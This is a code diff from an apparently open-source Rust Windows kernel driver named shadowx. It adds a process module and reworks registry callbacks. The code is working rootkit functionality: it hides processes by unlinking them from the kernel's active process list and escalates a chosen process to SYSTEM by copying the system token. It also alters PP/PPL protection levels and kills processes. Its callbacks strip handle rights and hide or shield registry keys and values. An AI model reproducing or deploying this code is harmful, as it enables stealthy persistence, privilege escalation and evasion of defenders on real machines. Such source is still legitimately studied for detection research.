|
processes
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The object (process) pre-operation callback function used to filter process opening operations.
|
||||||
|
/// This function is registered as a callback and is called by the operating system before a process opening operation is completed.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `_registration_context` - Pointer to record context (Not used).
|
||||||
|
/// * `info` - Pointer to an `OB_PRE_OPERATION_INFORMATION` structure that contains information about the process's pre-opening operation.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A status code indicating the success or failure of the operation.
|
||||||
|
pub unsafe extern "C" fn on_pre_open_process(
|
||||||
|
_registration_context: *mut core::ffi::c_void,
|
||||||
|
info: *mut OB_PRE_OPERATION_INFORMATION,
|
||||||
|
) -> Type {
|
||||||
|
if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 {
|
||||||
|
return OB_PREOP_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
let process = (*info).Object as PEPROCESS;
|
||||||
|
let pid = PsGetProcessId(process) as usize;
|
||||||
|
let pids = TARGET_PIDS.lock();
|
||||||
|
|
||||||
|
if pids.contains(&pid) {
|
||||||
|
let mask = !(PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE | PROCESS_TERMINATE);
|
||||||
|
(*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask;
|
||||||
|
}
|
||||||
|
|
||||||
|
OB_PREOP_SUCCESS
|
||||||
|
}
|
||||||
|
}
|
||||||
342
crates/shadowx/src/process/mod.rs
Normal file
342
crates/shadowx/src/process/mod.rs
Normal file
@@ -0,0 +1,342 @@
|
|||||||
|
use {
|
||||||
|
alloc::vec::Vec,
|
||||||
|
spin::{Lazy, Mutex},
|
||||||
|
wdk_sys::{ntddk::*, *,},
|
||||||
|
};
|
||||||
|
|
||||||
|
use {
|
||||||
|
common::{
|
||||||
|
vars::MAX_PID,
|
||||||
|
structs::TargetProcess,
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
error::ShadowError,
|
||||||
|
structs::PROCESS_SIGNATURE,
|
||||||
|
lock::with_push_lock_exclusive,
|
||||||
|
offsets::{
|
||||||
|
get_process_lock,
|
||||||
|
get_token_offset,
|
||||||
|
get_signature_offset,
|
||||||
|
get_active_process_link_offset,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
pub mod callback;
|
||||||
|
pub use callback::*;
|
||||||
|
|
||||||
|
/// Represents a process in the operating system.
|
||||||
|
///
|
||||||
|
/// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used
|
||||||
|
/// in Windows kernel development. It allows for looking up a process by its PID and ensures
|
||||||
|
/// proper cleanup of resources when the structure goes out of scope.
|
||||||
|
pub struct Process {
|
||||||
|
/// Pointer to the EPROCESS structure, used for managing process information.
|
||||||
|
pub e_process: PEPROCESS,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Process {
|
||||||
|
/// Creates a new `Process` instance by looking up a process by its PID.
|
||||||
|
///
|
||||||
|
/// This method attempts to find a process using its process identifier (PID). If the process
|
||||||
|
/// is found, it returns an instance of the `Process` structure containing a pointer to the
|
||||||
|
/// `EPROCESS` structure.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the process to be looked up.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error message if the lookup fails.
|
||||||
|
///
|
||||||
|
/// # Examples
|
||||||
|
///
|
||||||
|
/// ```rust
|
||||||
|
/// let process = Process::new(1234);
|
||||||
|
/// match process {
|
||||||
|
/// Ok(proc) => println!("Process found: {:?}", proc.e_process),
|
||||||
|
/// Err(e) => println!("Error: {}", e),
|
||||||
|
/// }
|
||||||
|
/// ```
|
||||||
|
#[inline]
|
||||||
|
pub fn new(pid: usize) -> Result<Self, ShadowError> {
|
||||||
|
let mut process = core::ptr::null_mut();
|
||||||
|
|
||||||
|
let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) };
|
||||||
|
if NT_SUCCESS(status) {
|
||||||
|
Ok(Self { e_process: process })
|
||||||
|
} else {
|
||||||
|
Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope.
|
||||||
|
///
|
||||||
|
/// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure
|
||||||
|
/// is properly decremented when the `Process` instance is dropped. This prevents resource leaks.
|
||||||
|
impl Drop for Process {
|
||||||
|
/// Cleans up the resources held by the `Process` structure.
|
||||||
|
///
|
||||||
|
/// This method decrements the reference count of the `EPROCESS` structure when the
|
||||||
|
/// `Process` instance is dropped, ensuring proper cleanup.
|
||||||
|
fn drop(&mut self) {
|
||||||
|
if !self.e_process.is_null() {
|
||||||
|
unsafe { ObfDereferenceObject(self.e_process as _) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// List of target processes protected by a mutex.
|
||||||
|
pub static PROCESS_INFO_HIDE: Lazy<Mutex<Vec<TargetProcess>>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID)));
|
||||||
|
|
||||||
|
/// This implementation focuses on the hiding and unhiding of processes.
|
||||||
|
impl Process {
|
||||||
|
/// Hides a process by removing it from the active process list in the operating system.
|
||||||
|
///
|
||||||
|
/// This method hides a process by unlinking it from the active process list (`LIST_ENTRY`)
|
||||||
|
/// in the OS. It uses synchronization locks to ensure thread safety while modifying the
|
||||||
|
/// list. Once the process is hidden, it is no longer visible in the system's active process chain.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process to be hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes
|
||||||
|
/// in the list before it was modified.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||||
|
pub unsafe fn hide_process(pid: usize) -> Result<LIST_ENTRY, ShadowError> {
|
||||||
|
// Getting offsets based on the Windows build number
|
||||||
|
let active_process_link = get_active_process_link_offset();
|
||||||
|
let offset_lock = get_process_lock();
|
||||||
|
|
||||||
|
// Retrieve the EPROCESS structure for the target process
|
||||||
|
let process = Self::new(pid)?;
|
||||||
|
|
||||||
|
// Retrieve the `LIST_ENTRY` for the active process link, which connects the process
|
||||||
|
// to the list of active processes in the system.
|
||||||
|
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
|
||||||
|
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||||
|
|
||||||
|
// Use synchronization to ensure thread safety while modifying the list
|
||||||
|
with_push_lock_exclusive(push_lock, || {
|
||||||
|
// The next process in the chain
|
||||||
|
let next = (*current).Flink;
|
||||||
|
|
||||||
|
// The previous process in the chain
|
||||||
|
let previous = (*current).Blink;
|
||||||
|
|
||||||
|
// Storing the previous list entry, which will be returned
|
||||||
|
let previous_link = LIST_ENTRY {
|
||||||
|
Flink: next as *mut LIST_ENTRY,
|
||||||
|
Blink: previous as *mut LIST_ENTRY,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Unlink the process from the active list
|
||||||
|
(*next).Blink = previous;
|
||||||
|
(*previous).Flink = next;
|
||||||
|
|
||||||
|
// Make the current list entry point to itself to hide the process
|
||||||
|
(*current).Flink = current;
|
||||||
|
(*current).Blink = current;
|
||||||
|
|
||||||
|
Ok(previous_link)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Unhides a process by restoring it to the active process list in the operating system.
|
||||||
|
///
|
||||||
|
/// This method restores a previously hidden process back into the active process list by re-linking
|
||||||
|
/// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent processes in the list. The function
|
||||||
|
/// uses synchronization locks to ensure thread safety while modifying the list.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process to be unhidden.
|
||||||
|
/// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring processes in the list,
|
||||||
|
/// which was saved when the process was hidden.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||||
|
pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Getting offsets based on the Windows build number
|
||||||
|
let active_process_link = get_active_process_link_offset();
|
||||||
|
let offset_lock = get_process_lock();
|
||||||
|
|
||||||
|
// Retrieve the EPROCESS structure for the target process
|
||||||
|
let process = Self::new(pid)?;
|
||||||
|
|
||||||
|
// Retrieve the `LIST_ENTRY` for the active process link, which connects the process
|
||||||
|
// to the list of active processes in the system.
|
||||||
|
let current = process.e_process.cast::<u8>().offset(active_process_link) as PLIST_ENTRY;
|
||||||
|
let push_lock = process.e_process.cast::<u8>().offset(offset_lock) as *mut u64;
|
||||||
|
|
||||||
|
// Use synchronization to ensure thread safety while modifying the list
|
||||||
|
with_push_lock_exclusive(push_lock, || {
|
||||||
|
// Restore the `Flink` and `Blink` from the saved `list_entry`
|
||||||
|
(*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY;
|
||||||
|
(*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY;
|
||||||
|
|
||||||
|
// Re-link the process to the neighboring processes in the chain
|
||||||
|
let next = (*current).Flink;
|
||||||
|
let previous = (*current).Blink;
|
||||||
|
|
||||||
|
(*next).Blink = current;
|
||||||
|
(*previous).Flink = current;
|
||||||
|
});
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Enumerates all currently hidden processes.
|
||||||
|
///
|
||||||
|
/// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns
|
||||||
|
/// a vector containing their information.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * A vector containing the information of all hidden processes.
|
||||||
|
pub unsafe fn enumerate_hide_processes() -> Vec<TargetProcess> {
|
||||||
|
let mut processes: Vec<TargetProcess> = Vec::new();
|
||||||
|
let process_info = PROCESS_INFO_HIDE.lock();
|
||||||
|
for i in process_info.iter() {
|
||||||
|
processes.push(TargetProcess {
|
||||||
|
pid: (*i).pid as usize,
|
||||||
|
..Default::default()
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
processes
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// This implementation focuses on finishing the process, changing the PPL and elevating the process.
|
||||||
|
impl Process {
|
||||||
|
|
||||||
|
// System process (By default the PID is 4)
|
||||||
|
const SYSTEM_PROCESS: usize = 4;
|
||||||
|
|
||||||
|
/// Elevates a process by setting its token to the system process token.
|
||||||
|
///
|
||||||
|
/// This function raises the token of a process identified by its PID (Process ID)
|
||||||
|
/// to the token of the system process, effectively elevating the privileges of the target process
|
||||||
|
/// to those of the system (NT AUTHORITY\SYSTEM).
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process to elevate.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||||
|
pub unsafe fn elevate_process(pid: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Get the offset for the token in the EPROCESS structure
|
||||||
|
let offset = get_token_offset();
|
||||||
|
|
||||||
|
// Retrieving EPROCESS from the target process
|
||||||
|
let target = Self::new(pid)?;
|
||||||
|
|
||||||
|
// Retrieve the EPROCESS for the system process (PID 4)
|
||||||
|
let system = Self::new(Self::SYSTEM_PROCESS)?;
|
||||||
|
|
||||||
|
// Access the Token field in the EPROCESS structure of both the target and system processes
|
||||||
|
let target_token_ptr = target.e_process.cast::<u8>().offset(offset) as *mut u64;
|
||||||
|
let system_token_ptr = system.e_process.cast::<u8>().offset(offset) as *mut u64;
|
||||||
|
|
||||||
|
// Copy the system process token to the target process
|
||||||
|
target_token_ptr.write(system_token_ptr.read());
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Modifies the protection signature (PP / PPL) of a process in the operating system.
|
||||||
|
///
|
||||||
|
/// This method changes the protection signature of a process by adjusting the `SignatureLevel` and `Protection` fields
|
||||||
|
/// in the `EPROCESS` structure. A process can be protected from certain operations, such as termination or privilege escalation,
|
||||||
|
/// depending on the signature level and protection type that are set.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the target process whose protection signature will be modified.
|
||||||
|
/// * `sg` - The signature level (signer) to be set for the process.
|
||||||
|
/// * `pt` - The protection type to be applied to the process.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue.
|
||||||
|
pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
// Get the offset for the protection signature within the EPROCESS structure
|
||||||
|
let offset = get_signature_offset();
|
||||||
|
|
||||||
|
// Retrieve the EPROCESS structure for the target process
|
||||||
|
let process = Self::new(pid)?;
|
||||||
|
|
||||||
|
// Create the new protection signature value by combining the signature level and protection type
|
||||||
|
let new_sign = (sg << 4) | tp;
|
||||||
|
let process_signature = process.e_process.cast::<u8>().offset(offset) as *mut PROCESS_SIGNATURE;
|
||||||
|
|
||||||
|
// Modify the signature level and protection type of the target process
|
||||||
|
(*process_signature).SignatureLevel = new_sign as u8;
|
||||||
|
(*process_signature).Protection.SetType(tp as u8);
|
||||||
|
(*process_signature).Protection.SetSigner(sg as u8);
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Terminates a process in the operating system using its process identifier (PID).
|
||||||
|
///
|
||||||
|
/// This method terminates a process by first opening a handle to the target process,
|
||||||
|
/// and then calling `ZwTerminateProcess` to end the process.
|
||||||
|
///
|
||||||
|
/// # Arguments
|
||||||
|
///
|
||||||
|
/// * `pid` - The process identifier (PID) of the process to be terminated.
|
||||||
|
///
|
||||||
|
/// # Returns
|
||||||
|
///
|
||||||
|
/// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated.
|
||||||
|
/// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails.
|
||||||
|
pub unsafe fn terminate_process(pid: usize) -> Result<NTSTATUS, ShadowError> {
|
||||||
|
let mut h_process: HANDLE = core::ptr::null_mut();
|
||||||
|
let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed();
|
||||||
|
let mut client_id = CLIENT_ID {
|
||||||
|
UniqueProcess: pid as _,
|
||||||
|
UniqueThread: core::ptr::null_mut(),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Open a handle to the target process with all access rights
|
||||||
|
let mut status = ZwOpenProcess(
|
||||||
|
&mut h_process,
|
||||||
|
PROCESS_ALL_ACCESS,
|
||||||
|
&mut object_attributes,
|
||||||
|
&mut client_id,
|
||||||
|
);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Terminate the process with an exit code of 0
|
||||||
|
status = ZwTerminateProcess(h_process, 0);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwTerminateProcess", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
// Close the handle to the process
|
||||||
|
status = ZwClose(h_process);
|
||||||
|
if !NT_SUCCESS(status) {
|
||||||
|
return Err(ShadowError::ApiCallFailed("ZwClose", status));
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(STATUS_SUCCESS)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -1,44 +1,58 @@
|
|||||||
#![allow(non_upper_case_globals)]
|
#![allow(non_upper_case_globals)]
|
||||||
|
|
||||||
use {
|
use {
|
||||||
super::{
|
log::error,
|
||||||
utils::{check_key_value, enumerate_value_key, RegistryInfo},
|
|
||||||
HIDE_KEYS, HIDE_KEY_VALUES, TARGET_KEYS, TARGET_KEY_VALUES
|
|
||||||
},
|
|
||||||
crate::{
|
|
||||||
registry::{utils::{check_key, enumerate_key}, Registry},
|
|
||||||
utils::{pool::PoolMemory, valid_kernel_memory}
|
|
||||||
},
|
|
||||||
alloc::{format, string::String},
|
alloc::{format, string::String},
|
||||||
core::{ffi::c_void, ptr::null_mut},
|
core::{ffi::c_void, ptr::null_mut},
|
||||||
wdk_sys::{
|
wdk_sys::{
|
||||||
|
*,
|
||||||
ntddk::{
|
ntddk::{
|
||||||
|
ObOpenObjectByPointer, ZwClose,
|
||||||
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx,
|
CmCallbackGetKeyObjectIDEx, CmCallbackReleaseKeyObjectIDEx,
|
||||||
ObOpenObjectByPointer, ZwClose
|
|
||||||
},
|
},
|
||||||
_MODE::KernelMode,
|
_MODE::KernelMode,
|
||||||
_REG_NOTIFY_CLASS::{
|
_REG_NOTIFY_CLASS::{
|
||||||
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey, RegNtPreDeleteKey,
|
RegNtPreQueryKey, RegNtPreSetValueKey,
|
||||||
RegNtPreDeleteValueKey, RegNtPreQueryKey, RegNtPreSetValueKey
|
RegNtPreDeleteKey, RegNtPreDeleteValueKey,
|
||||||
}, *
|
RegNtPostEnumerateKey, RegNtPostEnumerateValueKey,
|
||||||
|
},
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
/// Handle for Registry Callback
|
use {
|
||||||
|
super::{
|
||||||
|
HIDE_KEYS,
|
||||||
|
HIDE_KEY_VALUES,
|
||||||
|
PROTECTION_KEYS,
|
||||||
|
PROTECTION_KEY_VALUES,
|
||||||
|
utils::{
|
||||||
|
check_key_value, enumerate_value_key,
|
||||||
|
RegistryInfo
|
||||||
|
},
|
||||||
|
},
|
||||||
|
crate::{
|
||||||
|
utils::{pool::PoolMemory, valid_kernel_memory},
|
||||||
|
registry::{
|
||||||
|
Registry,
|
||||||
|
utils::{check_key, enumerate_key},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
/// Handle for Registry Callback.
|
||||||
pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() };
|
pub static mut CALLBACK_REGISTRY: LARGE_INTEGER = unsafe { core::mem::zeroed() };
|
||||||
|
|
||||||
/// The registry callback function handles registry-related operations based on the notification class.
|
/// The registry callback function handles registry-related operations based on the notification class.
|
||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `_callback_context`: A pointer to the callback context, usually not used.
|
/// * `_callback_context` - A pointer to the callback context, usually not used.
|
||||||
/// - `argument1`: A pointer to the notification class.
|
/// * `argument1` - A pointer to the notification class.
|
||||||
/// - `argument2`: A pointer to the information related to the registry operation.
|
/// * `argument2` - A pointer to the information related to the registry operation.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: A status code indicating the result of the operation.
|
/// * A status code indicating the result of the operation.
|
||||||
///
|
|
||||||
pub unsafe extern "C" fn registry_callback(
|
pub unsafe extern "C" fn registry_callback(
|
||||||
_callback_context: *mut c_void,
|
_callback_context: *mut c_void,
|
||||||
argument1: *mut c_void,
|
argument1: *mut c_void,
|
||||||
@@ -76,12 +90,11 @@ pub unsafe extern "C" fn registry_callback(
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `info`: A pointer to `REG_DELETE_KEY_INFORMATION`.
|
/// * `info` - A pointer to `REG_DELETE_KEY_INFORMATION`.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: A status code indicating success or failure.
|
/// * A status code indicating success or failure.
|
||||||
///
|
|
||||||
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
||||||
let status;
|
let status;
|
||||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||||
@@ -93,7 +106,7 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
|||||||
Err(err) => return err
|
Err(err) => return err
|
||||||
};
|
};
|
||||||
|
|
||||||
status = if Registry::check_key(key, TARGET_KEYS.lock()) {
|
status = if Registry::check_key(key, PROTECTION_KEYS.lock()) {
|
||||||
STATUS_ACCESS_DENIED
|
STATUS_ACCESS_DENIED
|
||||||
} else {
|
} else {
|
||||||
STATUS_SUCCESS
|
STATUS_SUCCESS
|
||||||
@@ -106,12 +119,11 @@ unsafe fn pre_delete_key(info: *mut REG_DELETE_KEY_INFORMATION) -> NTSTATUS {
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `info`: Pointer to the information structure of the post-execution logging operation.
|
/// * `info` - Pointer to the information structure of the post-execution logging operation.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
|
/// * Returns the status of the operation. If the key value is found and handled correctly, returns `STATUS_SUCCESS`.
|
||||||
///
|
|
||||||
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
||||||
if !NT_SUCCESS((*info).Status) {
|
if !NT_SUCCESS((*info).Status) {
|
||||||
return (*info).Status
|
return (*info).Status
|
||||||
@@ -143,14 +155,14 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ObOpenObjectByPointer Failed With Status: {status}");
|
error!("ObOpenObjectByPointer Failed With Status: {status}");
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||||
Some(mem) => mem.ptr as *mut u8,
|
Some(mem) => mem.ptr as *mut u8,
|
||||||
None => {
|
None => {
|
||||||
log::error!("PoolMemory (Enumerate Key) Failed");
|
error!("PoolMemory (Enumerate Key) Failed");
|
||||||
ZwClose(key_handle);
|
ZwClose(key_handle);
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
@@ -159,14 +171,21 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
|||||||
let mut result_length = 0;
|
let mut result_length = 0;
|
||||||
let mut counter = 0;
|
let mut counter = 0;
|
||||||
|
|
||||||
while let Some(value_name) = enumerate_value_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyValueInformationClass, &mut result_length) {
|
while let Some(value_name) = enumerate_value_key(
|
||||||
|
key_handle,
|
||||||
|
pre_info.Index + counter,
|
||||||
|
buffer,
|
||||||
|
(*pre_info).Length,
|
||||||
|
(*pre_info).KeyValueInformationClass,
|
||||||
|
&mut result_length
|
||||||
|
) {
|
||||||
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
|
if !Registry::check_target(key.clone(), value_name.clone(), HIDE_KEY_VALUES.lock()) {
|
||||||
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() {
|
if let Some(pre_info_key_info) = (pre_info.KeyValueInformation as *mut c_void).as_mut() {
|
||||||
*(*pre_info).ResultLength = result_length;
|
*(*pre_info).ResultLength = result_length;
|
||||||
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
|
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
|
||||||
break;
|
break;
|
||||||
} else {
|
} else {
|
||||||
log::error!("Failed to copy key information.");
|
error!("Failed to copy key information.");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
@@ -182,12 +201,11 @@ unsafe fn post_enumerate_key_value(info: *mut REG_POST_OPERATION_INFORMATION) ->
|
|||||||
///
|
///
|
||||||
/// # Arguments
|
/// # Arguments
|
||||||
///
|
///
|
||||||
/// - `info`: Pointer to the information structure of the post-execution logging operation.
|
/// * `info` - Pointer to the information structure of the post-execution logging operation.
|
||||||
///
|
///
|
||||||
/// # Returns
|
/// # Returns
|
||||||
///
|
///
|
||||||
/// - `NTSTATUS`: Returns the status of the operation, keeping the original status if the previous operation failed.
|
/// * Returns the status of the operation, keeping the original status if the previous operation failed.
|
||||||
///
|
|
||||||
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTATUS {
|
||||||
if !NT_SUCCESS((*info).Status) {
|
if !NT_SUCCESS((*info).Status) {
|
||||||
return (*info).Status
|
return (*info).Status
|
||||||
@@ -219,14 +237,14 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
|||||||
);
|
);
|
||||||
|
|
||||||
if !NT_SUCCESS(status) {
|
if !NT_SUCCESS(status) {
|
||||||
log::error!("ObOpenObjectByPointer Failed With Status: {status}");
|
error!("ObOpenObjectByPointer Failed With Status: {status}");
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
|
|
||||||
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||||
Some(mem) => mem.ptr as *mut u8,
|
Some(mem) => mem.ptr as *mut u8,
|
||||||
None => {
|
None => {
|
||||||
log::error!("PoolMemory (Enumerate Key) Failed");
|
error!("PoolMemory (Enumerate Key) Failed");
|
||||||
ZwClose(key_handle);
|
ZwClose(key_handle);
|
||||||
return STATUS_SUCCESS;
|
return STATUS_SUCCESS;
|
||||||
}
|
}
|
||||||
@@ -235,15 +253,21 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
|||||||
let mut result_length = 0;
|
let mut result_length = 0;
|
||||||
let mut counter = 0;
|
let mut counter = 0;
|
||||||
|
|
||||||
while let Some(key_name) = enumerate_key(key_handle, pre_info.Index + counter, buffer, (*pre_info).Length, (*pre_info).KeyInformationClass, &mut result_length) {
|
while let Some(key_name) = enumerate_key(
|
||||||
let key_format = format!("{key}\\{key_name}");
|
key_handle,
|
||||||
if !Registry::check_key(key_format, HIDE_KEYS.lock()) {
|
pre_info.Index + counter,
|
||||||
|
buffer,
|
||||||
|
(*pre_info).Length,
|
||||||
|
(*pre_info).KeyInformationClass,
|
||||||
|
&mut result_length
|
||||||
|
) {
|
||||||
|
if !Registry::check_key(format!("{key}\\{key_name}"), HIDE_KEYS.lock()) {
|
||||||
if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() {
|
if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() {
|
||||||
*(*pre_info).ResultLength = result_length;
|
*(*pre_info).ResultLength = result_length;
|
||||||
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
|
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
|
||||||
break;
|
break;
|
||||||
} else {
|
} else {
|
||||||
log::error!("Failed to copy key information.");
|
error!("Failed to copy key information.");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -260,12 +284,11 @@ unsafe fn post_enumerate_key(info: *mut REG_POST_OPERATION_INFORMATION) -> NTSTA
|
|||||||
///
|
///
|
||||||
